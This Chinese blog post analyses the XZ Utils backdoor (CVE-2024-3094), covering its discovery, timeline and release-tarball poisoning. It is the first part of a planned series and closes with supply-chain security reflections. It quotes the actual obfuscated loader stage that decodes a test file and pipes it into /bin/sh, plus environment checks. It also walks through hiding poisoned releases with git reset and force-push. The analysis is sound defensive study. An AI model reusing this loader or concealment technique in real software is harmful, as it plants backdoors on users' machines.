CVE-2024-3094(一)
大纲
这次XZ投毒事件是典型的APT攻击。对投毒思路、后门运作机制和人员潜伏身法分析量大,本文对XZ后门投毒预计拆分三篇来分析:
1.投毒背景与git手法
2.后门代码与调试
3.报告者发现此后门的分析工具与思路
TOC
简介
微软在职员工Andres Freund
在对Debian进行性能回归测试时,注意到SSH连接使用了意外高的CPU使用率,并使得Valgrind
(内存调试工具)报错。
Debian:Debian是众多Linux发行版的基础项目,如Kali,Ubuntu。此处指Andres Freund测试Debian的新版本(此Debian非稳定版本,因为集成有较新的xz的漏洞版本)。
性能回归测试:一种测试方法,测试多模块集成系统时,比较正常运行与运行存在问题的模块调用差异。
Valgrind:内存调试工具
Andres Freund
随后开始进行审计,从异常的SSH顺藤摸瓜找到原因,被调用的XZ模块存在了隐秘的后门,并对该后门进行了git审计,发现此后门是由Jia Tan
(名称JiaT75
)在2024年2、3月份逐步将高度混淆的后门代码一点一点引入XZ项目。Andres Freund
将代码反混淆并进行审计,得到基本的后门调用逻辑后,于2024年3月29日周五向openwall邮件上报了此次事件。
XZ:开源的压缩工具,比如常见的.xz后缀的文件通常就是使用此工具进行压缩的。调用xz的命令如xz -d filename.xz,tar -xJf archive.tar.xz等。
OpenWall:OpenWall是做Linux安全的知名社区。主要贡献为研究Linux安全,制作内核补丁,制作了OpenWall Linux(轻量级的安全强化的Linux系统)。
攻击者Jia Tan
在XZ项目的5.6.0
和5.6.1
的两个tag的release中植入了有后门的liblzma压缩包<含实际后门build-to-host.m4
>(尽管liblzma本身就是xz的子库,但是此处攻击者手动另上传了设置有后门的liblzma文件),而在github项目源中看不到后门文件的存在(只在release的source.tar.gz和source.zip中)。
tag:通常开发人员会标识一些特定的版本,在本地分支git tag打tag,然后使用git push origin –tags一类的命令上传tag到remote分支。
release:常见于特定版本的产品发布场景。比如在github上,通常选择特定tag然后发布release,研发者上传自行构建、编译的二进制包和哈希验证。此release通常会把当前分支的不含git信息的源代码同样以tar.gz和zip形式打包一同放在release文件中。
后门lzma存在IFUNC劫持。OpenSSH本身不会加载liblzma,但几个Linux发行版使用RSA_public_decrypt
会加载libsystemd
,进而加载lzma,让入侵者可以未授权控制整个机器。这导致使用漏洞版本的xz的Linux发行版开启SSHD服务,就会存在后门。攻击者通过该函数劫持,篡改了SSH通信协议的数个字节来验证特定私钥绕过访问认证。后门会对特定Ed448私钥提供远程代码执行。
从危害评估角度,攻击者Jia Tan
从2月23日才开始,花了将近一个月的时间有计划插入后门,分别于2月24日和3月9日发布了存在后门的两个xz的release。3月29日发现者Andres Freund
上报了漏洞和溯源报告。尽管XZ是一个非常广泛的Linux项目,但是并未直接被主流Linux的stable版本引入XZ的漏洞版本;仅少数的Linux不稳定版本使用到了XZ的漏洞版本。因此后门不算大规模普及,只有使用最新Linux的特定群体需要检查XZ版本。
从风险角度,出事项目XZ是OSS(Open Source Software)高度知名组件,攻击者Jia Tan
花费了近3年时间取得XZ项目创建者Lasse Collin
的信任,才于2月23日开始在XZ项目中植入后门。如果没有人发现Jia Tan
极其隐秘的高超手法,则该APT攻击将大规模对Linux植入后门。
时间线
- 2021年GitHub用户Jia Tan(JiaT75)帐户创建
- 2022年2月6日JiaT75向XZ仓库提交了第一个commit
- 2023年6月27日、28日Jia Tan对XZ Utils进行为未来漏洞利用的更改。在这些更改中,添加了对crc64_fast.c的ifunc实现的支持。
- 2023年7月8日JiaT75在oss-fuzz中打开了一个Pull请求,该项目对XZ和许多其他OSS项目进行模糊测试。PR禁用了ifunc模糊测试,进而阻止oss-fuzz发现XZ的恶意更改。
- 2024年2月15日JiaT75修改.gitignore文件,添加了build-to-host.m4的忽略规则。build-to-host.m4脚本文件即将包含在实际发布包(3.6.0与3.6.1)中,在构建期间执行,包含恶意代码,可初始化受害者机器上的后门安装。
2024年2月23日JiaT75在XZ仓库添加两个恶意文件:
tests/files/bad-3-corrupt_lzma2.xz
tests/files/good-large_compressed.lzma2024年2月24日JiaT75发布恶意build-to-host.m4的5.6.0版本。在此阶段,后门已成功实行。Debian、Gentoo、Arch Linux、Fedora、openSUSE已使用xz-utils 5.6.0版本。
- 2024年3月9日JiaT75将后门的二进制文件更新为改进版本,并发布release 5.6.1。此版本5.6.1被Fedora、Gentoo、Arch Linux、openSUSE、Alpine、Debian使用。
- 2024年3月29日,Andres Freund向oss-security mailing list上报此次事件。
- 2024年3月30日,XZ项目创建者Lasse Collins对恶意代码做出声明和响应。
发现者Andres Freund的邮件报告
本节对Andres Freund
的给openwall的邮件做中文复述,携带个人部分主观审视、学习和推测。该邮件原文link如下,读者可自行品味原味:https://www.openwall.com/lists/oss-security/2024/03/29/4
Andres Freund
过去几周在使用Debian Sid时,发现SSH占用率高的奇怪现象,得到结论:上游的xz仓库的release的代码压缩包已被人植入后门。
上游:指根源的代码仓库,也就是XZ本身的github仓库的意思,而非Debian自己修改的版本。比如Debian是非常知名的Linux项目,他会集成其他GNU的开源项目(上游)作为自身的工具。比如xz是开源压缩程序,他会把xz的有tag版本的代码包集成入自己的工具项目。通常情况下,为了更好的集成效果,Debian开发者会对拉来的XZ代码进行一些修改(此时称下游)。
最开始以为是Debian自己的集成团队修改XZ导致的软件异常现象,但是经过溯源,Andres Freund确定是XZ本身。
审计顺序
- Debian自己拉取的XZ仓库。
如图是Debian Linux项目,其拉取了Xz项目作为子项目,书写本文时还可以看到漏洞版本的XZ。XZ原封不动的拿过来,会按照源项目的版本命名,直接给其同命名分支,如v5.6.0
。如果为了集成需要,Debian会命名v5.6.0-0.1
这样子的分支名。
/md11.png)
- XZ项目
确定Debian项目存在此后门后,进一步审计到软件供应链上游的XZ项目。发现github项目本身历史commit和漏洞版本的分支并没有后门,但是后门仅在漏洞版本的release的源代码压缩包。
后门版本的源代码没有后门,但是release有,其两个后门版本的link:
https://github.com/tukaani-project/xz/releases/tag/v5.6.0
https://github.com/tukaani-project/xz/releases/tag/v5.6.1
/md12.png)
/md13.png)
我看到此处时愣了一下,因为github发布release一般就是为了发布开发者自己编译的二进制文件,一般流程是:
local打tag
->推送tag到远程分支
->指定tag发布release
此时release默认有源代码压缩包(如上图的zip和tar.gz默认就存在的两个格式的源代码压缩包),但是一般没想过release后把这个commit删除。
我自己测试了一下,其实在release
之后,git reset
到之前commit再git push --force
就可以实现这个手法。release包含后门,但是我又让源代码的commit回滚到没有后门的时候。
local打tag
->推送tag到远程分支
->指定tag发布release
->local git reset
->git push origin --force
这个细节非常实用,release的默认源码压缩包没有任何git信息,但是Debian那边的习惯又只是看上游软件库的特定Tag和Release拿Tarball包。攻击者摸清Debian集成上游代码的习惯,巧妙利用了release没有git信息很难发现的特性。
Tarball:压缩包,基本指release默认的Tar.gz和Zip的源代码包。
以上就是投毒手法,发现者随后简单审计和列举了恶意代码运行机制,此处摘取一处代码混淆片段:
tests/files/bad-3-corrupt_lzma2.xz
tests/files/good-large_compressed.lzm
其中:
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
上述代码会加载恶意代码进入liblzma_la-crc64-fast.o
,该代码只针对RPM或debian构建的x86-64架构的linux,如下Florian Weimer从该库文件提取的部分影响片段:
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
Building with gcc and the gnu linker
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0
Running as part of a debian or RPM package build:
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
再重新运行后门版本的Linux时,测试了下后门对SSH性能的影响,发现正常拒绝连接时的速度会慢三倍:
time ssh nonexistant@...alhost
before:
nonexistant@...alhost: Permission denied (publickey).
before:
real 0m0.299s
user 0m0.202s
sys 0m0.006s
after:
nonexistant@...alhost: Permission denied (publickey).
real 0m0.807s
user 0m0.202s
sys 0m0.006s
time命令的**real**指实际使用时间,另外我们可以在输出中看到user时间和sys时间。
user指用户态时间,比如我们写了计算密集型程序,该时间长,意味着CPU长时间处理我们的程序,与文件、网络IO无关;
sys指内核态(或称system level),主要做调度硬件资源(如内存、其他硬件)、IO相关的CPU处理,如果我们写了高IO程序,则sys时间会长。
思考
这是典型的软件供应链投毒事件,攻击者从上游仓库入手,向Debian这种重量级开源产品投毒。
但是,如果投毒成功将在全世界范围内获取非常庞大的权限。我们没法保证这只是开源社区的一个个例,相信更多的人甚至包括非常优秀的审计专家,在遇到这次事件的发现者在测试程序时的问题,可能没有这么细心、耐心的审计溯源行为。开源社区的git code review机制是否依然存在缺陷?
git项目运营者在merge别人代码是否会详尽检查code snippets?或者给了开发权限者以release、tag的权限,是否会审计tarball代码?或者是否允许非admin权限的开发者对分支进行push –force操作,进而方便开发者完成恶意commit然后回滚到无恶意代码的commit的虚晃一枪的操作?
攻击者关闭了Google的Oss Fuzz对开源产品进行的函数测试避免暴露,这意味着Google的Oss Fuzz不仅可审计崩溃异常,而且对安全事件有检测能力。此种源代码审计、构建Fuzz相关的测试类工具,可提醒开发者意识到恶意代码的存在。另外,发现者Andres Freund使用Valgrind这种内存分析工具意识到本次后门的存在。优秀的测试类工具在安全审计方面表现良好。
考虑到软件供应链安全,本次供应链路线虽然不长,但是考虑到开源社区上下游软件开发团队迥异,风格迥异,让专门的人进行代码审计确实比较为难人类。但是是否应该增加安全扫描工具,卡每一个环节?因为如果一个环节发现问题,那么投毒者处心积虑的供应链长线投毒则会暴露。
流量检测工具是否会检测SSH的特定字节是否异常?开发者构建了底层函数,使得SSH协议的特定字节从0x00到0x03不等,流量检测工具如果能注意到普通SSH协议应该不会有出格字节特征,这也可以增大异常问题。
感悟
- 英文区的安全专家观点清晰,推理链之长,博客众多,开源社区高手众多。尽管有纰漏,但是我认为开源社区的DevOps、构建、测试工具相对国内大部分企业更严格、专业。
- 软件供应链安全,此领域研究在未来依然充满开拓性。
参考链接
参考链接不分先后。
https://en.wikipedia.org/wiki/XZ_Utils_backdoor
https://www.openwall.com/lists/oss-security/2024/03/29/4
https://jfrog.com/blog/xz-backdoor-attack-cve-2024-3094-all-you-need-to-know/#jfrog-oss-tools-for-detecting-cve-2024-3094
https://github.com/tukaani-project/xz/tree/master/src/liblzma
https://github.com/google/oss-fuzz/blob/master/docs/getting-started/new_project_guide.md
Welcome to point out the mistakes and faults!
Gitalking ...